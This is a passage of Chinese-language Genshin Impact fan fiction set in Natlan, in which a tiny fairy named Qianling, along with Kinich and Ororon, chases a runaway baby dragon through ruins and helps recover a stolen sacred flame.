不知道是因为听到她这段话，还是因为他之前的动作只是单纯用来捉弄的恶作剧。
千灵：……
千灵咬牙：狡诈泡泡橘！
达达利亚笑够了，站起来，帮她取下海报和书籍，顺便将顶端的机械玩具一起结了帐。
不得不说，除了第一次见面时的意外，达达利亚帮了她不少忙。
梅洛彼得堡并不总是过得安稳。莱欧斯利公爵在的时候，有的人好说话，也很和蔼可亲，但当公爵离开了就会变成冷漠的钢板。
在警卫注视不到的角落里，达达利亚帮她解决了很多不必要的争端。
千灵见过一次达达利亚打拳赛的样子。
那个时候，她已经知道了他是至冬人，拥有与冰冷天气截然相反的好战与热情。
但是在面对警卫机关的时候，他的眼神是冷的。
像无光的海底，某种潜行的巨大生物。
随后，很难见上一面的公爵也出现了。
公爵大人摇晃着银色的手铐，审视着拳击场上的人。
千灵看见他盯着达达利亚，懒洋洋地搭着胳膊，很有深意地说：“愚人众。”
她趴在栏杆上。
梅洛彼得堡的聚光灯都投在拳场中央，千灵望向人群的焦点，各种视线的瞩目处，那个变得有些陌生的橘子头发青年。
她记下他身上带有至冬冷寒的温度。
-
[愚人众]
至冬的外交使团，效忠于端坐于至冬宫的冰之女皇。在各国借由保护和外交的名义活跃。
当时千灵在记忆里留住了达达利亚身上属于[愚人众]的温度，想的是多学会一点也不会吃亏。
没想到这么快就在纳塔用上了。
洞穴后面的疑似反派居然是愚人众。
太好啦是愚人众，我们完蛋啦.jpg
事不宜迟。
千灵迅速地调转头，本来想直接就隔老远对基尼奇招呼了，但是格里斯潘也在场，反而不好讲话。
千灵：盯——
身为猎龙人，直觉总是比常人敏感。
正在谈论细节的基尼奇感觉自己背后有道很难忽略的，滚烫的视线。
他缓慢地转过头，看到自己捡到的仙灵骑在别人家的白猫上，很有气势地驾驶着回来了。
基尼奇：……
不明白难道是飘着会累么？要么坐在他肩膀上，要么骑在小猫头顶。
并且小猫看上去一副生无可恋的表情。
千灵继续与他对视，热切地希望他能够察觉到自己殷殷期盼下的这股不寻常。
基尼奇果然动了。
超有默契！
千灵感动地心想。
但是，他的视线反而直接从千灵身上挪开了。
基尼奇转向格里斯潘，语气诚恳：“抱歉。”
然后他走上前，直接把千灵从小猫身上揪了起来。
“不要随便骑别人家的猫。”基尼奇戳
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了戳她，叮嘱说，“这不礼貌。”
默契，啪的一下碎了。
千灵生无可恋地趴在他的掌心。
格里斯潘走过来，好脾气地笑笑：“没关系，格罗贝尔会长不会介意的。”
格罗贝尔……会长？
千灵的疑惑冒了出来，在她头顶具现出一个小小的问号。
“这是我们俱乐部的会长。”
格里斯潘将白猫抱了起来，放置在一旁铺了软垫的座椅上。
不愧是拥有神奇猫咪会长的枫丹人，在看到会冒问号的仙灵竟然如此面不改色。
千灵敬佩地看向他们。
格罗贝尔会长——这只小白猫矜持地舔了舔自己的爪子。
但是。
为什么格罗贝尔是只猫啊？
不对，为什么猫会是俱乐部的会长啊？
神奇的提瓦特。
继像素龙，又新认识了猫咪会长。
千灵觉得之后发生什么都不会让她惊讶了。
格里斯潘摘帽向他们行礼，然后抱着会长离开了。临走前，他似乎露出了若有所思的神情，深深地看了基尼奇一眼。
“感觉他有点可疑哦……”千灵嘀嘀咕咕地说，“就像是混在清炒土豆丝的姜。”
基尼奇侧过头，翠色和金色的眼眸在灯光的照射下像在发光，一片颠倒的日出森林。
“你的感知很敏锐。”他说。
千灵盯着他，觉得这家伙有转移话题的嫌疑。
委托的细节需要讨论这么久吗？
她突然好奇在她离开的那段时间里，基尼奇和格里斯潘都说了些什么了。
“现在他们都走了，你是有什么话要说吗？”
基尼奇试图把千灵提溜起来站直，她看上去像是被太阳晒化掉了，瘫在他的掌心里。
“还是指引宝箱？”基尼奇说，“我刚刚与别人交换了一个免费的委托，你打算用什么回报？”
对哦！
愚人众！
千灵一个猛子飘起来。
基尼奇的手掌一空，面前这个小仙灵又打起了足足十二分的精神飘起来，正对着他的眼前。
“我找到了坏人的巢穴！”
千灵义愤填膺地说。
“我来给你指路！”
终于发挥了仙灵一族的本职，真是有无与伦比的满足感！
这就是她存在的意义啊。千灵热泪盈眶了。
基尼奇跟着她一路往偏僻的洞穴里钻。
仙灵大概真的会飞累，现在倒是不去骑别人家的俱乐部会长，十分理所当然地窝在他蓬松的头发上，俨然把自己当作了引路的火车头。
“嗯嗯，左拐，然后往右走。”
直到最后，站在手腕差不多粗的洞口前，一人一仙灵面面相觑。
“嗯……接下来穿过这里就到了。”千灵心虚望天，“再直行十来米。”
呃。
猫咪和仙灵才能穿过去的通道，大概不适用于基尼奇。
欠考虑了。
洞壁的烛火在基尼奇的眼睛里燃烧，他走上前，娴熟地抹了一下泥土。
千灵飘过去。
“我知道了。”基尼奇不愧是富有野外经验的猎龙人，他观察了一会泥土的色泽，就了然地说，“在彩石顶的西南处。”
基尼奇对这一片的地形很熟悉，比千灵更像引路的仙灵，几下就走到了洞穴的门口。
这里龙的味道很强烈了，地面有错乱的脚印，和车轮碾压过的痕迹。
里面的洞穴散发出阵阵阴风。
跟千灵之前第一次遇到小匿叶龙的场景很像。
潮湿又粘腻。
千灵不自觉扒紧基尼奇的脑袋。
感受到这只仙灵的不安，基尼奇安抚性地拍拍：“别怕。”
千灵：“嗯……”
里面很黑，基尼奇没有生火的打算。
千灵转移注意力：“你看得清吗？”
基尼奇：“你待在我头顶就好。”
千灵：？
基尼奇诚实地说：“很像探照灯。”
千灵：“……”
伟大仙灵是给你这么用的吗！
10.10
“有动静吗？”
“没有。”
基尼奇四周看了看，似乎是已经撤离了，这只是一个临时据点。
“你可以把眼睛睁开了。”
千灵这才放松地长叹了一口气，小心翼翼地打量四周。
虽然基尼奇并不太理解，这么豆丁点大的小东西居然还能有地方把眼睛长出来。
还能害怕得紧紧捂住自己的眼睛。
这个愚人众的行事很谨慎，基本上没有留下什么线索，只有残存的木箱和木车。
搜集线索这种活实在超出了一只仙灵的能力范围了。千灵坐到矮凳上，免得打扰到基尼奇的行动。
她从基尼奇的胳膊上滑下去，从一个仰望的角度，看见基尼奇编得很好看的头发，和他背后墙壁上的涂鸦。
千灵戳戳他搭在桌子上的手指。
基尼奇看过来。
“那是什么花纹呢？你看过吗？”千灵好奇地问，“有点像龙啊。”
基尼奇点亮了附近的火炬。
真的是龙。
飞翔的龙，展开火焰一样的羽翼，向地上的人们降下风暴和乌云。
但是颜色涂料有种诡异的奇怪。人的皮肤是蓝色的，而龙是晴天一样的蓝色，天空则是西红柿一样的艳红。
基尼奇走近看。
他最终还是点燃了火把，借光观察。千灵有些哆嗦，小心翼翼地跟在他身后。
角落里的画像被人为地覆盖，似乎并不想有人发现，将这本来就躲在石头下的片段，如同宝藏一样用石头掩盖住。
基尼奇扒开散落的石块。
——角落的画上，是一只小小的仙灵。
唯一用正确的颜色填充的仙灵，微弱地发出与星星相似的光芒。
像是躲起来，寻找一个故事的开始。
基尼奇弯腰，还要再看。
“哐当！”
门口突然传来玻璃罐掉落的声音。
“你们……你们是谁？怎么发现我的秘密基地？”
是一个小男孩，一副天塌了的表情。
“多巴？”基尼奇似乎跟他认识，他用火炬照亮自己的脸，“是我。”
他们从漆黑的洞穴里走出来，千灵看清那个小孩子。
咦——这不是她之前在悬木人的部落，缠着她讲故事的小朋友吗？
意料之外的都是熟人，千灵熟练地把自己当成基尼奇身上一个安静的挂件。
“秘密基地？”基尼奇重复一遍，问。
“……嗯。”多巴说话磕磕绊绊的，“是我和朋友们的密会地点，我们每周都会在这里碰面。”
小孩子总是有很多探险精神，喜欢屠龙的勇者，月夜下起舞的精灵。幻想自己是拯救世界的大英雄，生来就注定要去各种各样的地方冒险。
古老的石墙上描绘着久远的传说，他们煞有其事地寻找藏宝图。
有一天，竟然还在这里遇到了能召唤龙群的黑袍大巫师。
大巫师说，他千辛万苦，从壁画里的世界里逃了出来，要他们保守秘密，否则壁画里的恶龙会发现连接现实的道路，摧毁整片纳塔的土地。
听上去就是恶劣大人欺骗小孩子编出来的谎话啊。
小朋友还真是好骗呢。
千灵托腮。
洞穴很安静，基尼奇保持沉默。
以为会遭到训斥的多巴紧张地闭上了眼睛，但是基尼奇只是弯腰，把他掉在地上的颜料瓶捡了起来。
“这里很危险，可以换个地方。”基尼奇帮他拿起颜料瓶，说，“我知道有个旷野的山坡，比这里要好。你们可以在岩石上涂鸦，随意在风里打滚。”
基尼奇真是一个擅长行动的家伙。
说走就走，毫不含糊，仗着自己跑路的本事就到处乱窜——好吧，确实是有点羡慕了。
千灵反省自己，怎么自己飘一飘就会觉得累了呢。
她想起认识的一个纯水精灵的名言警句，感觉可以化用一下。
虽然我很没用，但是看到基尼奇这么有用，真好。
只花了大概十几分钟，基尼奇就将他们一起带到了一处山顶，距离天空很近的地方。旁边还有一条小溪，沿着高高的缺口垂直落下，像一条漂亮的织物缎带。
“哇！”
多巴被眼前辽阔的景色吸引了，他撒开脚向前奔跑。
“不看着一点吗？”千灵担忧地问基尼奇，“万一摔了怎么办？”
“维茨特兰的孩子天性如此。”基尼奇说，“最底下是一圈河道，山壁上也有藤蔓，就已经算得上安全了。”
他看上去对这里很熟悉的样子。
千灵往前飘。
纳塔的山顶平旷，千万年流动的云朵，千万年不变的沉默的山。
没有人永远年少，但永远有人年少。
那么，这里又是谁以前的秘密基地呢？
铭刻历史的石头上，刻着一副掉漆褪色的涂鸦。
千灵慢慢拔掉覆盖在涂鸦上的杂草。
是未完成的画，描绘着过去的场景。
千灵寻找到大概是画者当时借景的角度，好像比她高不了多少。
除开实际的景色之外，稚嫩的笔迹涂鸦出想象出来的，一个笼罩到地面的巨大影子。跟先前壁画上的龙格外相似。
树叶打着旋，羽毛在飞舞。
花费精力，认真描绘的是龙带来的一阵强烈又自由的风。
大概小孩子都是很相似的呢。
“你这么一点点高的时候，也喜欢龙呀？”
基尼奇似乎僵住了一会，才开口：“什么？”
千灵指了指这副褪色的涂鸦。然而纵使是时间，也有遮掩不住的颜色。
她闭上眼睛。
“感觉到了哦，草木生长一样葱茏的生命。”
-
眼见可以为实。
气味也不会撒谎。
“是和青蜜果一样熟悉的香甜味道。我不会闻错的。”
千灵信誓旦旦地啃着果子：“他就是一个好人啊。”
之后还去帮忙跟部落里的人打了声招呼，留心黑斗篷，带着龙的愚人众，看好自己家的孩子，免得陷入危险的境地。自己又去调查了。
阿乔的洗脑计划大失败。
它尝试做最后的挣扎：“无论怎样，你也听到那个愚人众的话了吧，什么死在基尼奇手上……之类的。”
“坏人的坏人就是好人啦。”千灵随随便便地说。
“说不定他跟那个空想俱乐部也在一起商量把你卖了！还在骗你。”
千灵捧脸：“有的花也会在错误的季节开呢。”
“拥有青蜜果味道的人，说谎也一定是有苦衷的吧。”
阿乔：……
没救了。这个味道控的笨蛋仙灵。
它转而去跟小匿叶龙蛐蛐。
龙之间的语言千灵就不太懂了。千灵警告阿乔：“你别吓着它了。”
“笨蛋仙灵，你有什么资格教训我！”
“你也没资格不让我教训呀。”千灵举一反三。
“你、你你你——”
阿乔又轻而易举地红了，独自跑到一边生闷气。
与基尼
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奇相反，阿乔不太擅长使用语言反驳呢。
千灵摇晃着小斗篷，很是骄傲。
连她都说不过。
不对。
为什么要用“连”。
千灵一顿，陷入思考。
一直密闭的房间需要通风，窗户是打开的，小匿叶龙的窝被放在了窗前，不知道阿乔刚刚跟它说了什么，它认真地观察了一下四周，突然“咻”的一下飞了出去。
千灵：！
“啊，它跑掉了！”千灵扭头惊呼。
然而阿乔没有反应过来，小匿叶龙吃得很营养，跑得飞快，眼看就要没影了，千灵顾不得多想，也急匆匆地飞出去。
等到阿乔反应过来的时候，原本热热闹闹的小屋只剩了它一个龙。
小窝还残留有余热，阿乔扒开窗户，半个身子探出了窗外去看。
——不管是小匿叶龙，还是仙灵，都已经不见了。
“这两个不省心的家伙……”
阿乔骂骂咧咧地出门，迎面就撞上了采购回来的基尼奇。
“怎么了？”
基尼奇放下新买的毛毯，皱眉问道。
-
也偶尔会有仙灵办不到的场合。
千灵不知道小匿叶龙为什么会专门找到奇奇怪怪的路。面前又被木板挡住了，仙灵的小小力气搬不开重物，缝隙也不足以让她钻进去。
没有人吧？没有人吧？
这个偏僻的野外，只有天空看见她能变成人。
千灵鬼鬼祟祟地张望一会，才慢吞吞地躲在叶子的阴影里。
只有风知道。
它调皮地摆弄她干净洁白的裙摆。
千灵站起来，前后左右跳跳，适应了一下人类的身躯。
长长的头发被她挽成了辫子，一晃一晃地在身后，像藏不住的狐狸尾巴。
即使是增长了一点力气的人类身躯，搬动木板也耗费了她好一会功夫。
这会时间过去，只能远远能看见小匿叶龙的一点影子了。
啊……怎么这么能跑啊。
它是被阿乔吓到了吗？
还是想回家，要去找妈妈了？
这么小，突然来到一个陌生的地方，确实会害怕吧……
千灵乱七八糟地想着。
但是放任它一只小龙在外很危险，说不定会有愚人众把它抓走。
也不知道那维莱特这么小的时候有没有被人类拐过的经历。
这么一想，觉得自己的肩上更沉甸甸了。
总感觉……是在为拯救失足小龙而努力呢。
-
最近的部落里，又开始流行起勇者的童话。狐狸妖怪，恶龙与宝剑，不灭的火焰，月亮掉下来的少女。
欧洛伦是在给自己种的第三个蘑菇取名字的时候，偶然撞见那个少女的。
她提着裙摆，跑步的姿势有些生涩，像刚学会发芽的种子，努力摇摆叶子去吸收阳光。
真的有与童话一样的现实角色吗？
怀揣着这样的好奇，他跟了上去。
那个白裙子的少女，裙摆沾了泥土，明明有穿鞋，却总给人一种赤足奔跑在森林的感觉。
她不时地左右张望，似乎弄丢了什么珍贵的东西。
她的灵魂闻起来有些残缺，像弯弯的新月。
于是欧洛伦走上前，有些关切地询问。
“你好，请问你是一个人吗？”
那姑娘一抖，转过身去，面容严肃而坚定，铿锵有力地回答：“是的我是人。”
欧洛伦：……
欧洛伦：？
11.11
在下午三点，遇到了一个自称为“人”的生命。
对方一蹦一跳，跟刚出笼的兔子没有什么不同。
千灵几乎是立刻意识到自己的回答过于莽撞了，差点咬到自己的舌头，慌乱地找补：“我的意思是……呃，那个，是的。”
千灵捋直舌头：“是这样。我是一个人。”
欧洛伦点点头：“能看出来。”
千灵：“。”
看出来什么？为什么前面要加个能？是想要隐晦地表达什么？
“你在找什么吗？”欧洛伦继续友善地询问。
虽然奶奶刚让他背诵完三个警惕——警惕野兽，警惕骗子，警惕不知道从哪里冒出来的怪人——但是这个是不是人，都有待讨论。
严格来说，不属于怪人的范畴，属于怪生命。
欧洛伦说服了自己：“你不是怪人。”
甚至不是人。
所以可以跟着。
千灵：？
千灵开始警惕。
她觉得欧洛伦有点像怪人。
不过比起猫咪会长，马赛克龙，显得这个一身漆黑斗篷的异瞳人还算正常。
但这么一耽误，小匿叶龙的影子更加看不见了。
“你有见过一条小龙吗？”千灵比划了一下，“大概这么大只。”
“看见了。”欧洛伦说。
千灵眨巴着眼睛看他。
欧洛伦也这样与她对视。
一秒。
两秒。
三秒。
双方保持着原来的姿势，倔强地沉默。
想必如果没有人打破这个平衡，大概会一直这样沉默下去直到天理苏醒。
欧洛伦的眼神逐渐浮现出疑惑。
似乎他认为他的回合已经结束了。接下来应该由千灵进行发言。
这家伙以为他们的对话是什么回合制游戏吗！
千灵：“……”
千灵：“然后呢？”
欧洛伦：“什么？”
千灵深深吸气，开口：“你看见它往哪里跑了吗？”
“哦。”欧洛伦这才慢吞吞地指了一个方向，“那边的遗迹。”
“谢谢。”
遗迹旁边生长的蕈类和藤蔓实在很多，千灵把裙子拎起来打了个结。
要进去的入口很高，千灵在打量。堆积的石头上有隐约的印记，被冲刷得倾斜。
千灵歪头去看。
看着看着，旁边缓缓长出了一个人。
千灵默默转过头去。
显然他并没有注意到那个古老的印记，只是单纯地在学她。
欧洛伦同样歪头，认真地盯着虚无缥缈的某处，看他的视线，可能是石板上那只正在绕圈追着玩自己尾巴的蜥蜴。
欧洛伦察觉到千灵的目光，他问：“怎么了？”
你一个这么高的大小伙做歪头这个动作真的很诡异你知道吗。
千灵去看他：“你干嘛呀？”
怎么跟过来了。明明刚刚一问一答，还以为他不感兴趣。
欧洛伦困惑的神情如此坦荡，眼神里透露出不解。
“那你在干什么呢？”
“我？我当然是在想怎么进去了。”
千灵毫无察觉地被拐弯了话题。
“你知道吗，进入这道门之后，你要献上最年轻的血液，和你的一切灵魂，背负与整个世界敌对的责任。”欧洛伦严肃地说。
千灵：“啊？”
欧洛伦继续严肃的语气：“故事书里都这么写的。”
千灵：“……”
你都看了什么奇奇怪怪的书啊？纳塔没有儿童教育的吗？
最终两个人十分朴实地搬来了石头，一个垫着一个地爬了上去。
在欧洛伦熟练地在前方引路时，千灵猛然回神。
不对。千灵严肃地心想。怎么莫名其妙就突然一起同行了？
-
“说真的，我只是想刺激一下她，哪能想到她直接带着小龙离家出走了啊？这能怪我吗？”
阿乔碎碎念。
基尼奇：“你很吵。”
这时是雨后，泥土松软，按理说分辨脚印并不困难。小匿叶龙的踪迹很容易看出来。
然而仙灵——
仙灵纯粹是靠飘的。
基尼奇无法判断她在哪里。
双脚没有站到大地上的生命，要想失去踪迹可太容易了。
如果阿乔没有说谎，仙灵是带着匿叶龙一起离开的话，追上小龙，就相当于找到了她。
基尼奇打量阿乔。
阿乔戴着墨镜，看不到眼睛，更无法从它的表情判断出是不是在乱说话。但总之，它骗人也不是一两次了。
基尼奇做好最坏的打算。
他打算先跟着小匿叶龙的轨迹去看看。前行的脚步却被人拦住。
“基尼奇——”玛拉妮踏着冲浪板，远远地从山的另一边跑过来，“首领在找你！说是被盗走的圣火有下落了。祖遗庙宇那边，就等你了！”
“它要走就随它们走呗。”阿乔也在他身边嚷嚷，“你的家又不是它们的家。”
玛拉妮滑过来，双手扑腾了一下站稳，不知道阿乔在跟基尼奇聊什么，问：“之前你带在身边的小仙灵呢？”
基尼奇：“她离开了。”
“哦哦。”玛拉妮没放在心上，最多觉得有点可惜，“还没邀请它去泡温泉呢。”
人与人的交往如同交汇的溪流，偶尔巧合遇见，短暂地同行一阵，又会在下一个路口分开。
无比正常。
基尼奇看了一会交错的脚印。
但他并没有打消想要追上去的想法。无论是游荡的幼龙，还是难以捕捉的仙灵。他是维茨特兰身手最好的猎龙人，即使雨水混淆了气息，尘沙掩盖住脚印，他也一定找得到他们。
先去追圣火。
-
沾有青苔的潮湿石板难以攀爬。
在第无数次从上面滑下来之后，千灵放弃了爬上去的方法。
可惜，要是能变成仙灵就好了……千灵隐晦地看了一眼欧洛伦。
欧洛伦非常有兴趣地看着她爬上这个坡，然后因为站不稳慢慢滑下来，又爬上去，再滑下来。
简直跟数海獭每天会转多少圈的无聊人士没什么不同。
“你不走吗？”千灵含蓄地提出赶人的想法。
欧洛伦的嘴角很平，看不出有什么情绪波动：“这里太绕，很黑。我不认识路。”
那你一路跟着我进来干嘛啦！
千灵服气了。
这里也没有石头了。除了飞，唯一的方法看起来就是利用悬浮的钩锁，可惜她不是匿叶龙。
也不知道那只小匿叶龙怎么飞过去的。
千灵盯着入口，忽然感受到没来由的风声。
她转过头去，看到欧洛伦背后的黑色斗篷缓缓展开，像一对漆黑的翅膀。
在千灵震惊的注视下，他慢慢地悬浮腾空了。
……啊？
要是一开始就会飞的话，之前为什么要跟我一起搭石头啊？
欧洛伦感受到千灵目光里的疑惑，他指了指入口，贴心地说：“我看到里面有石头。”
然后他捞起石头，挨个地扔了出来。
扔得竟然还很有准头，千灵心情复杂地踩着石头上来了。
她心情复杂地看了欧洛伦一眼，觉得这家伙有点缺心眼。
“没加盐的骨头汤。”千灵冷不丁冒出一句。
很鲜的肉汤，但是没有盐进行调味，于是味道相当野生天然的人类。
欧洛伦：？
他意外地读懂了千灵的言下之意，他感受了一下千灵的灵魂，回应她：“月亮炒蘑菇。”
那种缺失了一角的月亮，掉下来被人捡到然后拿去做饭，沾染上蘑菇味道的外来物种。
双方保持着警惕进行对彼此印象的交流，并初步达成了共识。
——她/他真是一个天然的笨蛋啊。
总之，达到了一个微妙的平衡。
两个人慢吞吞地走着，潮湿的地下洞穴，只有彼此的脚步声。
对了，安静下来的时候，记得要呼吸。
千灵发出匀速的呼吸声。
风送来越来越冷的愚人众的温度。
千灵停下，想提醒一下这家伙，没想到他也停下了脚步。
“前面有一个孱弱的灵魂。”欧洛伦说。
他的声音有些大，惊动了房间里的人。
“谁？”
是一个清亮的女声，从里面传来。
千灵和欧洛伦一前一后走了进去。两个人都没有遮掩一下的意思，闯进秘境宛如回自己家一样亲切。
昏暗的遗迹里，奇怪地出现了一个搂着小匿叶龙的女性，脸色苍白，坐在轮椅上。
小匿叶龙安心地睡在她怀里，一下又一下地被梳毛。
“你是它的主人吗？”千灵问。
本该很好回答的问题，她却无端地沉默了一会，才点头。
“
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我叫……奎伊露。这是我的龙。”
在撒谎。
千灵抿唇，看了看虚弱的奎伊露。
但她难以拆穿这样一个病人的假话，于是保持沉默。
而欧洛伦完全没有读懂气氛的天赋。他抱臂：“不信。”
“你的名字也跟故事书里的重名了。”欧洛伦审视着她，“你为什么会居住在这样一个不见天日的地方？”
奎伊露咳嗽了几声，朝千灵这边看。
是求救的眼神。
千灵：？
我吗？
为什么她会认为自己要帮她啊？
这里充斥着愚人众的气息，但显然这个病怏怏的女性不是愚人众。小匿叶龙也很亲近她的模样。
不像坏人。
千灵陷入纠结。
奎伊露见千灵陷入沉默，又对上欧洛伦的眼神，轻轻地叹了口气：“好吧。”
她的声音突然变得肃穆：“既然各位不辞辛苦地前来，我也应当讲一个故事。”
倒也没有多么不辞辛苦。千灵心想。
只是堆了几块石头，当作上升的台阶。
奎伊露于是开始讲一个故事。
[兔子，白色的兔子，你掉毛吗？]拥有斑驳影子的男孩向漆黑天空中的月亮询问。
高洁的月亮一闪一闪，似乎应许了他的愿望，月光中的一缕，如同兔子掉下的毛发，映射到他的瞳孔。
前来的并非月亮，而是拥有白色身影的神使。
来自高天，守护银色树木的那种使者，会回应人们一切向幸福的愿望。哪怕要她们牺牲自我，哪怕要她们失散于永夜的巢穴。（这点已从枫丹的西比尔，须弥的花神一一验证过了，自不必赘述）
但这一次神使掉入的，是一个比春雨还要润物无声的陷阱。
袒露爱怜的神使，退化成灰色无智的躯壳。
“不要独自去淋冷雨，警惕山野间的陷阱。”
奎伊露看着千灵，意有所指：“你记得了吗？”
千灵……千灵一脸“啥啥啥你在说什么”的表情。
她旁边的欧洛伦在盯着奎伊露怀里的小匿叶龙，表情严肃地说：“小龙脑袋顶的毛打结了，你应该换个方向顺。”
千灵轻易地被吸引了注意力：“这还有讲究的吗？”
欧洛伦：“有的。梳毛会让它们变得开心。保持心情的愉悦，葡萄都能多结几串。”
奎伊露：“……”
这届仙灵和纳塔人都是怎么回事。
“未来的陷阱尚在路上，现在的陷阱近在眼前。”奎伊露这么说。
狭窄昏暗的房间突然升腾起令人不安的大雾。
一阵机关转动的声响，千灵感到脚腕被什么东西缠住，然后她呼啦一声被拽起，几乎是本能立刻变回了仙灵。
铁链只锁定了空荡荡的一阵风。
而欧洛伦就没有这样的好运了。
他一下被倒挂在墙上，还有闲心张望。
“奎伊露走了。”欧洛伦严肃发言，然后转回头。
——再然后，他顿住。
语气古怪：“原来是仙灵？”
“这是一个秘密。”千灵用手指抵在面前，有些乞求地小声说，“不要讲出去。”
出乎意料的，欧洛伦很快就点头：“好的。”
“那你可以尝试把我放下来吗？”
千灵四处看看。
房间很暗，隐约能听见火焰燃烧的声音，从高高的墙壁后传来。感觉这是放置机关的地方。
于是她飘起来。
就在她趴在墙上研究的时候，另一侧的墙壁转开。
千灵缓缓转过头去，看见了呼啦啦一大帮乌泱泱的人头。
有过一面之缘的玛拉妮，阿乔……人还来得挺多的。
她一眼就瞧见里面跟着的基尼奇，与他对视的时候，千灵完完全全地傻掉了。
站在最前面的应该是[悬木人]的首领。
首领看了一番面前的景象，沉声问：“你们在干什么？”
“我是蝙蝠。”倒挂在陷阱上的欧洛伦无比自然地说，“我在睡觉。”
烟谜主这家的小伙子一直脑袋不好使，首领向来有所耳闻。他叹了一口气，转向千灵。
“那你呢？”
千灵顿了会。
她学着欧洛伦的语气，格外认真：“我是壁虎。我在爬墙。”
“……”
首领的眼神骤然锐利了起来。
人群中，基尼奇闭了闭眼。
12.12
首领的审视目光不容忽视。
他狐疑地看向泰然自若的欧洛伦，又去看突然出现在纳塔的仙灵。
千灵感受到这种打量的注视，这让她感到一种熟悉的，被凝视与被审判的味道。
想溜掉了。
没等到她打算琢磨出什么离开的办法，基尼奇却突然直接开口了：“这是我认识的仙灵。”
首领转过头去：“你认识的？”
“嗯。”基尼奇向她招手，没有再多说什么，“过来吧。”
千灵犹犹豫豫的，她慢吞吞地飘到基尼奇的身边。
一边飘，一边偷偷打量他的表情。
阿乔不知道为什么难得没有说话，要是在平时它应该早就大声嚷嚷着嘲笑她被困在秘境里了。
气氛有些紧绷。
一般情况来讲，她应该解释自己的行为，但是这里人太多了，大家都一副紧赶慢赶的样子，千灵后知后觉地感受到气氛的不对劲。
她小小声的，去问阿乔：“发生什么了？”
“圣火失踪了。”阿乔说，“伟大的我发现它被藏在这座秘境里。”
几乎是立刻，千灵意识到自己出现在这里有多么的不对劲。
是个人都会怀疑她的。盗窃圣火的凶手，不怀好意的外来生命。
仅仅是接纳美露莘，即使那维莱特已经做得几乎完美，也支付了太多代价。
她亲眼见过。
可是真的不是她干的。她好心追着小龙来到了这里，明明是出于好心。
有点郁闷。
但是有些时机错过了，就是很难再开口。就像过了保质期的食物，再下咽便会变得难吃起来。
无法在现在开口。说什么都很值得怀疑。
千灵默默地将自己当作挂件。
首领一行人一边走进了这间屋子，一边不时向她投来怀疑的审视。
千灵不太自在。
基尼奇看了看她，似乎想要说什么。
就在这时候，一个镇定的声音响起。
“你们好。我还在这里。”
欧洛伦十分冷静地维持着被倒吊的姿势，甚至借助锁链的平衡，缓慢地自转起来。
“有人可以帮忙把我放下来么？”
忧愁的，宛如乌云一样的情绪立刻就像被日光拨弄开了。
千灵：“噗。”
他真的好像个灯球啊！
这个机关并不难解决，欧洛伦被放了下来。他看了一眼千灵，又看了一眼基尼奇，最后与首领对视，解释说：“我是跟她一起进来的。”
拜托。
可千万要瞒住啊。
千灵紧张地盯着他，生怕把自己的身份说出去。不然她一只仙灵，在纳塔这么显眼，想要办事情的话，就会变得很困难。
“我们在找小龙。”欧洛伦十分给力地说，“跑到了这个遗迹里。”
好样的欧洛伦！
千灵雀跃地飘起来，不小心撞到了基尼奇的耳坠。基尼奇看过来，一如既往的看不出什么表情，千灵双手合十比了个抱歉的手势。
然后她又高兴地转向欧洛伦。
可惜现在没办法跟他道谢。没想到这家伙真的信守承诺了诶！如果不是现在人多，她都想飘过去跟他击个掌。
她一开始看他这黑黑紫紫的配色，还以为是什么隐藏在人群中的邪恶反派。
首领拧着眉毛思考了一阵。
他们简单地商量了一下，千灵一下就放松了，蹲在基尼奇肩膀上晃着小小的披风。
原来他们的部族要举行一个神秘的回火仪式，结果作为关键道具的圣火被人偷走了，在追查到这里的时候，竟然巧合地遇见了。
“小匿叶龙跟盗窃圣火的人一定有关系吧。”
千灵睿智地进行分析。
总之，汇合成功的千灵和欧洛伦加入了寻找圣火的队伍里。
千灵感慨：“我们这个团伙真是越来越庞大了。”
基尼奇顿了顿。
跟随奎伊露逃跑的轨迹，他们顺利找到了保存圣火的密室。千灵第一次见到圣火的样子，它是略带透明的，看着像一团燃烧的水晶。
即使是在潮湿的空气里，依然恒常地燃烧着。
“谢天谢地，总算是找到了！”玛拉妮松了一口气，“这下你们的仪式能够顺利开始了。”
首领颔首：“接下来，我们会加强守卫的人员。”
他向基尼奇看了过去。
基尼奇倚靠在木制的门框，双手抱臂，闭着眼睛，像在睡觉。
即使没有与首领的视线进行交流，他像是有所预料：“需要来谈谈价格么？”
“……算了。”首领得到了千篇一律的答案，他转过头，“咱们部落守卫的小伙子也没有不行到那种地步。”
嘈杂的人群里，年轻的小伙发出不服气的声音：“什么嘛首领！是不是看不起我们了！”
“我的力气可是能拦住三只乱闯的野猪！”
“这有什么？我曾经跟棕鹿角力！”
“啊，那个被鹿角卡住的倒霉蛋原来就是你啊？”
这无缘无故的攀比之心究竟从何而来啊？感觉下一句他们就要开始说什么我的爸爸敢在龙的头顶睡觉之类的大话了。
千灵默默飘到欧洛伦面前。
欧洛伦目光炯炯地盯着她。
千灵：？
欧洛伦：“我种的蘑菇……”
嗯？
欧洛伦：“它长出来也是个蘑菇。”
嗯？？
千灵茫然地眨眨眼。
不然呢？
他挠了挠耳朵，好像对她的反应不太满意，然后又十分严肃地说：“而我的蜜虫能够吃一些常人不能吃的东西。”
千灵：“……”
这下她懂了，那种盯着她的目光里，究竟在期待着什么。
“不要在这种地方有奇奇怪怪的好胜心啊！”千灵大声说，“要养什么东西就好好地去养啊！”
乱喂东西吃可是要拉肚子的了！
“啊，好的。”欧洛伦很快地回答了，“向你们抱歉。蜜虫和蘑菇。”
基尼奇听见他们的交谈，向走廊看去。
房间的内部，首领和部族里的人正严肃地商量着如何保管圣火，而不属于悬木人的欧洛伦和千灵，像是与他们隔绝一样，自顾自地进行氛围轻松的交流。
小小的，披着小斗篷的仙灵神气地漂浮在欧洛伦面前，而欧洛伦乖顺地低着脑袋，似乎很乐意听她的教导。
阿乔趁基尼奇没注意，正打算悄悄溜走。
“阿乔。”
冷不丁的声音，阿乔摆过脸不去看。
“‘带着匿叶龙离家出走’……”基尼奇复
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述一遍它之前的话，“是这样吗？”
“都差不多的意思了！”阿乔没有多少底气，但是很大声地说，“追着龙就跑了！这又不是她的家嘛！”
阿乔的嘴跟基尼奇的命一样硬。
基尼奇没再理阿乔，他看向欧洛伦和那只短暂住在他家的仙灵。
本来警惕性很高的仙灵，不知道为什么，意外的跟欧洛伦却很合得来。
欧洛伦。
他想起旁人对欧洛伦的议论，说他独居在野外，喜欢与种植的蘑菇说话。
所以这算是他的天赋么。擅长与这种生命沟通。
